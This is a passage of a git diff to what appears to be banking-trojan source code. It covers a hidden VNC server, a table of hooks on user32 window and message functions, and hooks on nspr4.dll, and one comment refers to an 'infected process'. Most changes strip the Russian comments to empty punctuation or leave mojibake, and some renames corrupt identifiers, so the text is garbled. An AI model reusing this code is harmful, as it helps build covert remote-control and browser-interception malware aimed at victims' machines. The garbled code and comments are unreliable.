ошибка отправки. - 1 - данные отправлены. - 2 - измененых областей не найдено. + Return - -1 - . + 0 - . + 1 - . + 2 - . */ static int SendChangedRects(SOCKET s, Rfb::INTERNAL_DATA *pid, Rfb::RECTANGLE *pr) { @@ -478,12 +478,12 @@ static int SendChangedRects(SOCKET s, Rfb::INTERNAL_DATA *pid, Rfb::RECTANGLE *p } /* - Проверяет валидные ли данные о пиксиле. + . - IN ppf - стуктура для проверки. + IN ppf - . - Return - true - если валидные, - false - не валидные. + Return - true - , + false - . */ static bool IsValidPIXEL_FORMAT(Rfb::PIXEL_FORMAT *ppf, bool bIsLocal) { @@ -496,11 +496,11 @@ static bool IsValidPIXEL_FORMAT(Rfb::PIXEL_FORMAT *ppf, bool bIsLocal) } /* - Преобразует маску цвета в макс. значение цвета и смещение. + . . - IN dwMask - маска. - OUT pdwMax - максимальное значение. - OUT pbShift - смешение цвета. + IN dwMask - . + OUT pdwMax - . + OUT pbShift - . */ static void MaskToMaxAndShift(DWORD dwMask, LPWORD pwMax, LPBYTE pbShift) { @@ -512,11 +512,11 @@ static void MaskToMaxAndShift(DWORD dwMask, LPWORD pwMax, LPBYTE pbShift) } /* - Полная инициализация Rfb::INTERNAL_DATA. (на основе UltaVNC). + Rfb::INTERNAL_DATA. ( UltaVNC). - IN memoryDc - DC для работы. + IN memoryDc - DC . - Return - Rfb::INTERNAL_DATA, или NULL в случаи ошибки. + Return - Rfb::INTERNAL_DATA, NULL . */ static inline Rfb::INTERNAL_DATA *InitINTERNAL_DATA(HDC memoryDc, POINT *pSize, HANDLE hDIBMap, DWORD mapOffset) { @@ -590,9 +590,9 @@ static inline Rfb::INTERNAL_DATA *InitINTERNAL_DATA(HDC memoryDc, POINT *pSize, } /* - Полное освобождение ресурсов занятых под Rfb::INTERNAL_DATA. + Rfb::INTERNAL_DATA. - IN pid - стукрута для удаления. + IN pid - . */ static void FreeINTERNAL_DATA(Rfb::INTERNAL_DATA *pid) { @@ -605,13 +605,13 @@ static void FreeINTERNAL_DATA(Rfb::INTERNAL_DATA *pid) } /* - Отправка ANSI-сообщения в формате [DWORD][BYTE[x]]. + ANSI- [DWORD][BYTE[x]]. - IN s - сокет. - IN pstrMessage - сообщение. + IN s - . + IN pstrMessage - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool SendANSIMessage(SOCKET s, LPSTR pstrMessage) { @@ -675,7 +675,7 @@ void Rfb::_ServerThread(SOCKET s, DWORD dwTimeout, SERVER_CALLBACKS *pCallbacks, } /* - Once the client and server are sure that they’re happy to talk to one another using the + Once the client and server are sure that theyre happy to talk to one another using the agreed security type, the protocol passes to the initialisation phase. The client sends a ClientInit message followed by the server sending a ServerInit message */ @@ -686,7 +686,7 @@ void Rfb::_ServerThread(SOCKET s, DWORD dwTimeout, SERVER_CALLBACKS *pCallbacks, /* After receiving the ClientInit message, the server sends a ServerInit message. This - tells the client the width and height of the server’s framebuffer, its pixel format and the + tells the client the width and height of the servers framebuffer, its pixel format and the name associated with the desktop */ diff --git a/source/client/vnc/rfb.h b/source/client/vnc/rfb.h index 53157c1..b783b2a 100644 --- a/source/client/vnc/rfb.h +++ b/source/client/vnc/rfb.h @@ -1,6 +1,6 @@ /* - Протокол RFB. - На основе http://www.uvnc.com/ + RFB. + http://www.uvnc.com/ */ #pragma once @@ -123,106 +123,106 @@ namespace Rfb void *param; //Arbitrary parameter functions. /* - Установка способа авторизации на сервере. + . - OUT securityType - одно из значений ST_*. По умолчанию значение равно ST_NONE. - OUT errorMessage - в случаи если *pdwSecurityType == ST_INVALID, указывается сообщение - об ошибки, инача игнарируется. Содержимое *ppstrErrorMessage не будет - автоматически освобождено! + OUT securityType - ST_*. ST_NONE. + OUT errorMessage - *pdwSecurityType == ST_INVALID, + , . *ppstrErrorMessage + ! */ void (*onSecurityType)(void *param, LPDWORD securityType, LPSTR *errorMessage); /* - Получение от клиента сообщения ClientInit. + ClientInit. - IN shared - состояние флага Shared-flag. + IN shared - Shared-flag. - Return - true - для продолжения работы, - false - для корректного заверешния работы. + Return - true - , + false - . */ bool (*onClientInit)(void *param, BYTE shared); /* - Вызывается перед отправкой сообщения ServerInit. + ServerInit. - OUT name - указатель на имя сервера. Буфер не освождается автоматически! - OUT size - размер изоброжения. + OUT name - . ! + OUT size - . - Return - Memory DC - будет использоватся для работы сервера, будет освобожден - самостоятельно. - NULL - для корректного заверешния работы. + Return - Memory DC - , + . + NULL - . */ HDC (*onServerInit)(void *param, LPSTR *name, POINT *size); /* - Подготовка к поиску обноволений изображения. + . */ void (*OnUpdateDC)(void *pParam); /* - Изменение состояние клавиши. + . IN keySym - KeySym. - IN down - true - нажатие, false - отпсукание. + IN down - true - , false - . */ void (*onKeyEvent)(void *param, DWORD keySym, bool down); /* - Изменение состояния указателя. + . - IN .. - полный аналог mouse_event. + IN .. - mouse_event. */ void (*OnPointerEvent)(void *pParam, DWORD dwFlags, LONG wX, LONG wY, DWORD dwData); /* - Вставка текста. + . - IN dwLen - размер текста. - IN pstrString - строка. + IN dwLen - . + IN pstrString - . */ void (*OnClientCutText)(void *pParam, DWORD dwLen, LPSTR pstrString); }SERVER_CALLBACKS; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Запуск RFB пртокола. - - IN s - сокет. - IN dwTimeout - таймаут ожидание ответов от клиента, или 0 для бесконечного ожидания. - IN pCallbacks - список кээлбэк функций. - IN hDIBMap - Map-file для битмапа, изменения которого будут проверяться, или NULL. - IN updateMutex - мютекс блокировки обнволений битмапа, или NULL. - IN dwRefreshInterval - задержка между поиском изменений изображения. + RFB . + + IN s - . + IN dwTimeout - , 0 . + IN pCallbacks - . + IN hDIBMap - Map-file , , NULL. + IN updateMutex - , NULL. + IN dwRefreshInterval - . */ void _ServerThread(SOCKET s, DWORD dwTimeout, SERVER_CALLBACKS *pCallbacks, HANDLE hDIBMap, DWORD mapOffset, HANDLE updateMutex, DWORD dwRefreshInterval); /* - Проиграть звуковой сигнал на клиенте. + . - IN s - сокет клиента. + IN s - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _SendBell(SOCKET s); - /*В В В В Send a "buffer" the text to the client. -В В В В  -В В В В IN s - the client socket. -В В В В IN pstrText - text to send. + /*    Send a "buffer" the text to the client. +     +    IN s - the client socket. +    IN pstrText - text to send. -В В В В Return - true - if successful, -В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +             false - if an error occurs. +  */ bool _CopyText(SOCKET s, LPSTR pstrText); }; diff --git a/source/client/vnc/vncmouse.cpp b/source/client/vnc/vncmouse.cpp index f72993c..71ff829 100644 --- a/source/client/vnc/vncmouse.cpp +++ b/source/client/vnc/vncmouse.cpp @@ -14,16 +14,16 @@ #if(BO_VNC > 0) /* - Изменение захваченого окна. + . IN OUT vncProcessData - VNCPROCESSDATA. - IN newTid - новый TID. - IN newWindow - новое окно. - IN newArea - область захвата. - IN post - true - высылать WM_CAPTURECHANGED через PostMessage. - false - высылать WM_CAPTURECHANGED через SendMessage. + IN newTid - TID. + IN newWindow - . + IN newArea - . + IN post - true - WM_CAPTURECHANGED PostMessage. + false - WM_CAPTURECHANGED SendMessage. - Return - предыдущите захваченое окно. + Return - . */ static HWND changeMouseCapture(VNCPROCESSDATA *vncProcessData, DWORD newTid, HWND newWindow, WORD newArea, bool post) { @@ -45,7 +45,7 @@ static HWND changeMouseCapture(VNCPROCESSDATA *vncProcessData, DWORD newTid, HWN } /* - Перемещение текущего захваченого окна. + . IN OUT vncProcessData - VNCPROCESSDATA. IN x - X. @@ -118,13 +118,13 @@ static void moveCapturedWindow(VNCPROCESSDATA *vncProcessData, LONG x, LONG y) } /* - Проверят сообщение на даблклик. + . IN OUT vncProcessData - VNCPROCESSDATA. - IN window - окно. - IN message - исходное сообщение. + IN window - . + IN message - . - Return - оригианльный message, или его даблклик. + Return - message, . */ static DWORD checkForDoubleClick(VNCPROCESSDATA *vncProcessData, HWND window, DWORD message) { @@ -191,16 +191,16 @@ static DWORD checkForDoubleClick(VNCPROCESSDATA *vncProcessData, HWND window, DW } /* - Обработка события мыши. + . IN vncProcessData - VNCPROCESSDATA. - IN window - окно. - IN windowInfo - данные об окне. - IN hiTest - результат WM_NCHITTEST. - IN message - сообщение для HTCLIENT. - IN ncMessage - сообщение не для HTCLIENT. - IN clientCursorPos - клиентские координаты. - IN screenCursorPos - экарнные координаты. + IN window - . + IN windowInfo - . + IN hiTest - WM_NCHITTEST. + IN message - HTCLIENT. + IN ncMessage - HTCLIENT. + IN clientCursorPos - . + IN screenCursorPos - . */ static void mouseEvent(VNCPROCESSDATA *vncProcessData, HWND window, const WINDOWINFO *windowInfo, WORD hitTest, DWORD message, DWORD ncMessage, LPARAM clientCursorPos, LPARAM screenCursorPos) { @@ -389,8 +389,8 @@ void mouseMessage(VNCPROCESSDATA *vncProcessData, DWORD flags, LONG x, LONG y, D HWND window = Gui::_windowFromPoint(vncProcessData->globalData->cursorPoint, SENDMESSAGE_TIMEOUT, &hitTest); /* - Если окно вернуло HITTEST изменния размера, а бордюра у окна нет, - перененаправляем данные родителю. + HITTEST , , + . */ if(hitTest >= HTSIZEFIRST && hitTest <= HTSIZELAST) { @@ -565,10 +565,10 @@ HWND WINAPI VncServer::hookerGetCapture(void) return CWA(user32, GetCapture)(); } -/*В В Modification of the MSG structure. +/*  Modification of the MSG structure. -В В IN r - returns a value from a function to obtain a structure msg. -В В IN OUT msg - MSG*/ +  IN r - returns a value from a function to obtain a structure msg. +  IN OUT msg - MSG*/ static void fixMessage(BOOL r, LPMSG msg) { if(r != 0 && r != -1 && msg != NULL && IS_VNC_PROCESS) diff --git a/source/client/vnc/vncpaint.cpp b/source/client/vnc/vncpaint.cpp index 7aff062..74e057b 100644 --- a/source/client/vnc/vncpaint.cpp +++ b/source/client/vnc/vncpaint.cpp @@ -15,7 +15,7 @@ #if(BO_VNC > 0) //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Drawing window. +// Drawing window. //////////////////////////////////////////////////// //////////////////////////////////////////////// //Data on the drawing window. @@ -29,9 +29,9 @@ typedef struct }PAINTDATA; /* - Получение текущего PAINDDATA для потока. + PAINDDATA . - Return - PAINTDATA, или NULL. + Return - PAINTDATA, NULL. */ static __inline PAINTDATA *getThreadPaintData(void) { @@ -39,7 +39,7 @@ static __inline PAINTDATA *getThreadPaintData(void) } /* - Установка PAINTDATA для потока. + PAINTDATA . IN paintData - PAINTDATA. */ @@ -64,11 +64,11 @@ static __inline void setThreadPaintData(const PAINTDATA *paintData) } /* - Копирование локального квадрата в удалнный квадрат, или наоборот. + , . IN vncProcessData - VNCPROCESSDATA. - IN rect - квадрат назначения. - IN toDesktop - true - локальный в удаленный, false - удаленный в локальный. + IN rect - . + IN toDesktop - true - , false - . */ static void copyRectTempDesktop(VNCPROCESSDATA *vncProcessData, const RECT *rect, bool toDesktop) { @@ -89,16 +89,16 @@ static void copyRectTempDesktop(VNCPROCESSDATA *vncProcessData, const RECT *rect } /* - В Drawing window. +  Drawing window. IN vncProcessData - VNCPROCESSDATA. - IN window - окно для печати. - IN visibleRect - видимая область для окна. - IN isServer - true - функция вызвана с сервера, - false - функция вызвана с зараженного процесса. + IN window - . + IN visibleRect - . + IN isServer - true - , + false - . - Return - true - окно нарисовано/пропущено, - false - окно не нарисовано. + Return - true - /, + false - . */ bool paintWindow(VNCPROCESSDATA *vncProcessData, HWND window, const RECT *visibleRect, bool isServer) { @@ -329,7 +329,7 @@ HDC WINAPI VncServer::hookerGetWindowDc(HWND window) return CWA(user32, GetWindowDC)(window); } -int WINAPI VncServer::hookerReleaseDс(HWND window, HDC dc) +int WINAPI VncServer::hookerReleaseD(HWND window, HDC dc) { if(IS_VNC_PROCESS) { @@ -385,16 +385,16 @@ int WINAPI VncServer::hookerGetUpdateRgn(HWND window, HRGN rgn, BOOL erase) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Overview of all windows for painting. +// Overview of all windows for painting. //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Создания процесса рисования окон. + . IN OUT vncProcessData - VNCPROCESSDATA. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool createPaintProcess(VNCPROCESSDATA *vncProcessData) { @@ -450,15 +450,15 @@ bool VncServer::startAsPaintThread(void) } /* - Выбор метода рисования окна. + . IN vncProcessData - VNCPROCESSDATA. - IN window - окно. - IN ownerRect - кординаты, видимой клиенсткой части родителя. + IN window - . + IN ownerRect - , . IN windowInfo - WINDOWINFO. - Return - true - рисовать детей, - false - не рисовать детей. + Return - true - , + false - . */ static bool selectMethodAndPaintWindow(VNCPROCESSDATA *vncProcessData, HWND window, const RECT *ownerRect, const WINDOWINFO *windowInfo) { @@ -528,12 +528,12 @@ typedef struct WINDOWINFO *windowInfo; //Just for eknomii stack. }ENUMWINDOWCALLBACK; -/*В В Kelbek Gui:: _enumWindows () for drawing the window. +/*  Kelbek Gui:: _enumWindows () for drawing the window. -В В IN window - the window. -В В IN param - ENUMWINDOWCALLBACK. +  IN window - the window. +  IN param - ENUMWINDOWCALLBACK. -В В Return - true.*/ +  Return - true.*/ static bool enumWindowsCallback(HWND window, void *param) { ENUMWINDOWCALLBACK *ewc = (ENUMWINDOWCALLBACK *)param; diff --git a/source/client/vnc/vncserver.cpp b/source/client/vnc/vncserver.cpp index c6849d3..1058b55 100644 --- a/source/client/vnc/vncserver.cpp +++ b/source/client/vnc/vncserver.cpp @@ -22,22 +22,22 @@ #include "..\..\common\fs.h" /* - ИЗВЕСТНЫЕ ПРОБЛЕМЫ: - 1. Z-нижнее окно должно прорисовываться поверх z-верхнего окна (пример, NSIS 2.x). - Проблему решить можно, но будет затрачено много CPU. Я так понел, когда прорисовывается верхнее - окно, система сразу после него, отправляет прорисовку окнам, которые оно перекрывает... + : + 1. Z- z- (, NSIS 2.x). + , CPU. , + , , , ... - 2. Также не обрабатываются clipping-регионы, т.к. это дополнительный расход CPU. + 2. clipping-, .. CPU. - 3. Фоновое окно InstallShield порисовывается, хотя оно как-то хитро скрыто... (пример, установщик ICQ7) + 3. InstallShield , - ... (, ICQ7) - 4. Естественно не рисуются крутые окна типа WinAmp, некторые глючат (ICQ7). + 4. WinAmp, (ICQ7). - 5. В посьянсе свободная ячейка, в WM_PAINT рисует в неклинетскую область, оюдмуать ка крешить эту проблему. + 5. , WM_PAINT , . FIXME: - Изменение разрещения и палитры. - Блокировать звук. + . + . Dead chars */ @@ -46,42 +46,42 @@ VNCPROCESSDATA vncActiveProcessData; //Filled only when (coreData.proccessFlags & Core:: CDPF_VNC_ACTIVE). //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Fitting for a window class. +// Fitting for a window class. //////////////////////////////////////////////////// //////////////////////////////////////////////// const static struct {LPWSTR windowClass; int windowClassLenght; WORD method;} winowPrintTypes[] = { /* - Тень окна. Она не нужна. + . . */ {L"SysShadow", 9, WCF_PAINTMETHOD_NOP}, /* - Меню, не удалось установить перехват, видемо в результате оптимизации, вызывается что-то - внутреннее. + , , , - + . - Также по неизвестной причине, все сообшения мыши для HTCLIENT идут с координатами отностиельно - экрана. + , HTCLIENT + . */ {L"#32768", 6, WCF_PAINTMETHOD_PRINTWINDOW | WCF_MOUSE_CLIENT_TO_SCREEN | WCF_MOUSE_AUTOCAPTURE}, /* - Коносльное окно, создается сервисом. + , . */ {L"ConsoleWindowClass", 18, WCF_PAINTMETHOD_PRINTWINDOW | WCF_PAINTMETHOD_SKIP_HOOK}, /* - Языковая панель. Причина проблемы не известна. + . . */ {L"CiceroUIWndFrame", 16, WCF_PAINTMETHOD_PRINTWINDOW | WCF_PAINTMETHOD_SKIP_HOOK}, /* - MDIClient. Причина проблемы не известна. + MDIClient. . */ {L"MDIClient", 9, WCF_PAINTMETHOD_PRINTWINDOW | WCF_PAINTMETHOD_SKIP_HOOK}, /* - Вылетает в Seven. Причина проблемы не известна. + Seven. . */ {L"SysListView32", 13, WCF_PAINTMETHOD_PRINT}, }; @@ -103,17 +103,17 @@ WORD getWindowClassFlags(HWND window) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Utilities. +// Utilities. //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Инициализация vncProcessData. freeVncProcessData() должна быть вызвона в не зависимости от Return. + vncProcessData. freeVncProcessData() Return. OUT vncProcessData - VNCPROCESSDATA. - IN isServer - создавать серверные объекты. + IN isServer - . - Return - true - в случи успеха, - false - в случаи проблемы. + Return - true - , + false - . */ static bool createVncProcessData(VNCPROCESSDATA *vncProcessData, bool isServer) { @@ -214,10 +214,10 @@ static bool createVncProcessData(VNCPROCESSDATA *vncProcessData, bool isServer) } /* - Освобождение vncProcessData. + vncProcessData. OUT vncProcessData - VNCPROCESSDATA. - IN isServer - освобождать серверные объекты. + IN isServer - . */ static void freeVncProcessData(VNCPROCESSDATA *vncProcessData, bool isServer) { @@ -342,7 +342,7 @@ void VncServer::uninit(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Server. +// Server. //////////////////////////////////////////////////// //////////////////////////////////////////////// static void onSecurityType(void *param, LPDWORD securityType, LPSTR *errorMessage) @@ -367,7 +367,7 @@ static HDC onServerInit(void *param, LPSTR *name, POINT *size) return vncProcessData->serverData.dcData.dc; } -static void onUpdateDс(void *param) +static void onUpdateD(void *param) { VNCPROCESSDATA *vncProcessData = (VNCPROCESSDATA *)param; paintDesktop(vncProcessData); @@ -456,7 +456,7 @@ bool VncServer::start(SOCKET s) sc.onSecurityType = onSecurityType; sc.onClientInit = onClientInit; sc.onServerInit = onServerInit; - sc.OnUpdateDC = onUpdateDс; + sc.OnUpdateDC = onUpdateD; sc.onKeyEvent = onKeyEvent; sc.OnPointerEvent = onPointerEvent; sc.OnClientCutText = onClientCutText; @@ -470,7 +470,7 @@ bool VncServer::start(SOCKET s) } /* - Обработка VNC-сообщения.(). + VNC-.(). */ static LRESULT vncMessage(HWND window, WPARAM wParam, LPARAM lParam) { @@ -629,11 +629,11 @@ LRESULT WINAPI VncServer::hookerCallWindowProcA(WNDPROC prevWndFunc, HWND window return CWA(user32, CallWindowProcA)(prevWndFunc, window, msg, wParam, lParam); } -/*В В Replacement Def * Proc on a hook. +/*  Replacement Def * Proc on a hook. -В В IN p - address for verification. +  IN p - address for verification. -В В Return - address hook - if the hook is found. NULL - the hook is not found.*/ +  Return - address hook - if the hook is found. NULL - the hook is not found.*/ static void *replaceDefProc(void *p) { if(p == CWA(user32, DefWindowProcW))return VncServer::hookerDefWindowProcW; diff --git a/source/client/vnc/vncserver.h b/source/client/vnc/vncserver.h index 4069b41..4582fd4 100644 --- a/source/client/vnc/vncserver.h +++ b/source/client/vnc/vncserver.h @@ -1,5 +1,5 @@ /* - Создание и управление декстопом для удаленного доступа по протоколу RFB. + RFB. */ #pragma once @@ -7,200 +7,200 @@ namespace VncServer { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Создание сессии. + . - IN s - сокет клиента. + IN s - . - Return - true - в случаи успешной сессии, - false - в случаи ошибки. + Return - true - , + false - . */ bool start(SOCKET s); /* - Запуск цикла рисования окон. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool startAsPaintThread(void); /* - Перехватчик OpenInputDesktop. + OpenInputDesktop. */ HDESK WINAPI hookerOpenInputDesktop(DWORD flags, BOOL inherit, ACCESS_MASK desiredAccess); /* - Перехватчик SwitchDesktop. + SwitchDesktop. */ BOOL WINAPI hookerSwitchDesktop(HDESK desktop); /* - Перехватчик DefWindowProcW. + DefWindowProcW. */ LRESULT WINAPI hookerDefWindowProcW(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefWindowProcA. + DefWindowProcA. */ LRESULT WINAPI hookerDefWindowProcA(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefDlgProcW. + DefDlgProcW. */ LRESULT WINAPI hookerDefDlgProcW(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefDlgProcA. + DefDlgProcA. */ LRESULT WINAPI hookerDefDlgProcA(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefFrameProcW. + DefFrameProcW. */ LRESULT WINAPI hookerDefFrameProcW(HWND frame, HWND client, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefFrameProcA. + DefFrameProcA. */ LRESULT WINAPI hookerDefFrameProcA(HWND frame, HWND client, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefMDIChildProcW. + DefMDIChildProcW. */ LRESULT WINAPI hookerDefMDIChildProcW(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик DefMDIChildProcA. + DefMDIChildProcA. */ LRESULT WINAPI hookerDefMDIChildProcA(HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик CallWindowProcW. + CallWindowProcW. */ LRESULT WINAPI hookerCallWindowProcW(WNDPROC prevWndFunc, HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик CallWindowProcW. + CallWindowProcW. */ LRESULT WINAPI hookerCallWindowProcA(WNDPROC prevWndFunc, HWND window, UINT msg, WPARAM wParam, LPARAM lParam); /* - Перехватчик RegisterClassW. + RegisterClassW. */ ATOM WINAPI hookerRegisterClassW(WNDCLASSW *wndClass); /* - Перехватчик RegisterClassA. + RegisterClassA. */ ATOM WINAPI hookerRegisterClassA(WNDCLASSA *wndClass); /* - Перехватчик RegisterClassExW. + RegisterClassExW. */ ATOM WINAPI hookerRegisterClassExW(WNDCLASSEXW *wndClass); /* - Перехватчик RegisterClassExA. + RegisterClassExA. */ ATOM WINAPI hookerRegisterClassExA(WNDCLASSEXA *wndClass); /* - Перехватчик BeginPaint. + BeginPaint. */ HDC WINAPI hookerBeginPaint(HWND window, LPPAINTSTRUCT paint); /* - Перехватчик EndPaint. + EndPaint. */ BOOL WINAPI hookerEndPaint(HWND window, const PAINTSTRUCT *paint); /* - Перехватчик GetDCEx. + GetDCEx. */ HDC WINAPI hookerGetDcEx(HWND window, HRGN clip, DWORD flags); /* - Перехватчик GetDC. + GetDC. */ HDC WINAPI hookerGetDc(HWND window); /* - Перехватчик GetWindowDC. + GetWindowDC. */ HDC WINAPI hookerGetWindowDc(HWND window); /* - Перехватчик ReleaseDC. + ReleaseDC. */ - int WINAPI hookerReleaseDс(HWND window, HDC dc); + int WINAPI hookerReleaseD(HWND window, HDC dc); /* - Перехватчик GetUpdateRect. + GetUpdateRect. */ BOOL WINAPI hookerGetUpdateRect(HWND window, LPRECT rect, BOOL erase); /* - Перехватчик GetUpdateRgn. + GetUpdateRgn. */ int WINAPI hookerGetUpdateRgn(HWND window, HRGN rgn, BOOL erase); /* - Перехватчик GetMessagePos. + GetMessagePos. */ DWORD WINAPI hookerGetMessagePos(void); /* - Перехватчик GetCursorPos. + GetCursorPos. */ BOOL WINAPI hookerGetCursorPos(LPPOINT point); /* - Перехватчик SetCursorPos. + SetCursorPos. */ BOOL WINAPI hookerSetCursorPos(int x, int y); /* - Перехватчик SetCapture. + SetCapture. */ HWND WINAPI hookerSetCapture(HWND window); /* - Перехватчик ReleaseCapture. + ReleaseCapture. */ BOOL WINAPI hookerReleaseCapture(void); /* - Перехватчик GetCapture. + GetCapture. */ HWND WINAPI hookerGetCapture(void); /* - Перехватчик GetMessageW. + GetMessageW. */ BOOL WINAPI hookerGetMessageW(LPMSG msg, HWND window, UINT msgFilterMin, UINT msgFilterMax); /* - Перехватчик GetMessageA. + GetMessageA. */ BOOL WINAPI hookerGetMessageA(LPMSG msg, HWND window, UINT msgFilterMin, UINT msgFilterMax); /* - Перехватчик PeekMessageW. + PeekMessageW. */ BOOL WINAPI hookerPeekMessageW(LPMSG msg, HWND window, UINT msgFilterMin, UINT msgFilterMax, UINT removeMsg); - /*В В В В Interceptor PeekMessageA. -В В */ + /*    Interceptor PeekMessageA. +  */ BOOL WINAPI hookerPeekMessageA(LPMSG msg, HWND window, UINT msgFilterMin, UINT msgFilterMax, UINT removeMsg); }; #endif diff --git a/source/client/winapitables.cpp b/source/client/winapitables.cpp index 1867ab7..0e9841c 100644 --- a/source/client/winapitables.cpp +++ b/source/client/winapitables.cpp @@ -38,9 +38,9 @@ void WinApiTables::uninit(void) } /* - Выбор функций для уведомлении о создании процесса. + . - OUT hwa - результат выбора. + OUT hwa - . */ static void setCreateProcessNotifyApi(HOOKWINAPI *hwa) { @@ -57,14 +57,14 @@ static void setCreateProcessNotifyApi(HOOKWINAPI *hwa) } /* - Снимает перехватыват со всеx WinApi из списка + x WinApi - IN process - процесс. - IN OUT list - список. - IN count - кол. эелементов. + IN process - . + IN OUT list - . + IN count - . . - Return - true - если снять перехват со всех WinApi, - false - если не снят перехват хотя бы с одной WinAPI. + Return - true - WinApi, + false - WinAPI. */ static bool unhookList(HANDLE process, HOOKWINAPI *list, DWORD count) { @@ -93,15 +93,15 @@ static void hotPatchCallback(const void *functionForHook, const void *originalFu Core::replaceFunction(functionForHook, originalFunction); } -/*В В Intercepts all WinApi list +/*  Intercepts all WinApi list -В В IN process - a process. -В В IN OUT list - a list. -В В IN count - count. eelementov. -В В IN realCount - col. eelementov, should be equal. The meaning of this concept in the code. +  IN process - a process. +  IN OUT list - a list. +  IN count - count. eelementov. +  IN realCount - col. eelementov, should be equal. The meaning of this concept in the code. -В В Return - true - if all intercepted WinApi, -В В В В В В В В В В В В В В В В В В В В В В В В В В false - if not caught at least one of WinAPI.*/ +  Return - true - if all intercepted WinApi, +                          false - if not caught at least one of WinAPI.*/ static bool hookList(HANDLE process, HOOKWINAPI *list, DWORD count, DWORD realCount) { //Insured. @@ -159,7 +159,7 @@ static bool hookList(HANDLE process, HOOKWINAPI *list, DWORD count, DWORD realCo } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Table interception for a custom process. +// Table interception for a custom process. //////////////////////////////////////////////////// //////////////////////////////////////////////// static HOOKWINAPI userHooks[] = { @@ -220,7 +220,7 @@ static HOOKWINAPI userHooks[] = {NULL, VncServer::hookerGetDcEx, NULL, 0}, {NULL, VncServer::hookerGetDc, NULL, 0}, {NULL, VncServer::hookerGetWindowDc, NULL, 0}, - {NULL, VncServer::hookerReleaseDс, NULL, 0}, + {NULL, VncServer::hookerReleaseD, NULL, 0}, {NULL, VncServer::hookerGetUpdateRect, NULL, 0}, {NULL, VncServer::hookerGetUpdateRgn, NULL, 0}, @@ -338,7 +338,7 @@ bool WinApiTables::_removeUserHooks(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Table interception nspr4.dll. +// Table interception nspr4.dll. //////////////////////////////////////////////////// //////////////////////////////////////////////// #if(BO_NSPR4 > 0) diff --git a/source/client/winapitables.h b/source/client/winapitables.h index 49c91c3..d33f9bb 100644 --- a/source/client/winapitables.h +++ b/source/client/winapitables.h @@ -1,69 +1,69 @@ /* - Таблицы перехвата WinAPI. + WinAPI. - Данный модуль подчинается Core, и не имеет каких либо защит от повторных перехватов. - По соображениям стабилности unhook не возможен. + Core, . + unhook . */ #pragma once namespace WinApiTables { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Установка для процесса пользователя. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setUserHooks(void); /* - Снятие хуков для процесса пользователя. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _removeUserHooks(void); /* - Попытка установить перехват для nspr4.dll. + nspr4.dll. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ #if(BO_NSPR4 > 0) bool _trySetNspr4Hooks(void); #endif /* - Попытка установить перехват для nspr4.dll. + nspr4.dll. - IN moduleName - базове имя предпалогоемого модуля. - IN moduleHandle - хэндл предпалогоемого модуля. + IN moduleName - . + IN moduleHandle - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ #if(BO_NSPR4 > 0) bool _trySetNspr4HooksEx(LPWSTR moduleName, HMODULE moduleHandle); #endif - /*В В В В Installation for nspr4.dll. + /*    Installation for nspr4.dll. -В В В В IN nspr4Handle - handle nspr4.dll. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    IN nspr4Handle - handle nspr4.dll. +     +    Return - true - if successful, +                     false - if an error occurs. +  */ #if(BO_NSPR4 > 0) bool _setNspr4Hooks(HMODULE nspr4Handle); #endif diff --git a/source/client/windowstation.h b/source/client/windowstation.h index 661a619..023979e 100644 --- a/source/client/windowstation.h +++ b/source/client/windowstation.h @@ -1,8 +1,8 @@ /* - Работа с Window Station's и Desktop's. + Window Station's Desktop's. - Примечание: Т.к. данные возможности документированы очень бедно, принимаем меры максимальной - безопасности, в обмен на размер. + : .. , + , . */ #pragma once @@ -10,87 +10,87 @@ namespace WindowStation { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение имени объекта. + . - IN handle - объект. + IN handle - . - Return - имя объекта, необходимо освободить через Mem. Или NULL в случаи ошибки. + Return - , Mem. NULL . */ LPWSTR _getObjectName(HANDLE handle); /* - Проверяет указывают ли хэндлы на один и тотже объект. + . - IN handle1 - объект 1. - IN handle2 - объект 2. + IN handle1 - 1. + IN handle2 - 2. - Return - true - если хэндлы принадлежат одному и томоуже объекту, - false - в противном случаи. + Return - true - , + false - . */ bool _isEqualObjects(HANDLE handle1, HANDLE handle2); /* - Открывает или создает станцию. + . - IN name - имя станции или NULL для установки Winsta0. - IN desiredAccess - маска доступа. + IN name - NULL Winsta0. + IN desiredAccess - . - Return - хэндл станции (нужно закарыть через 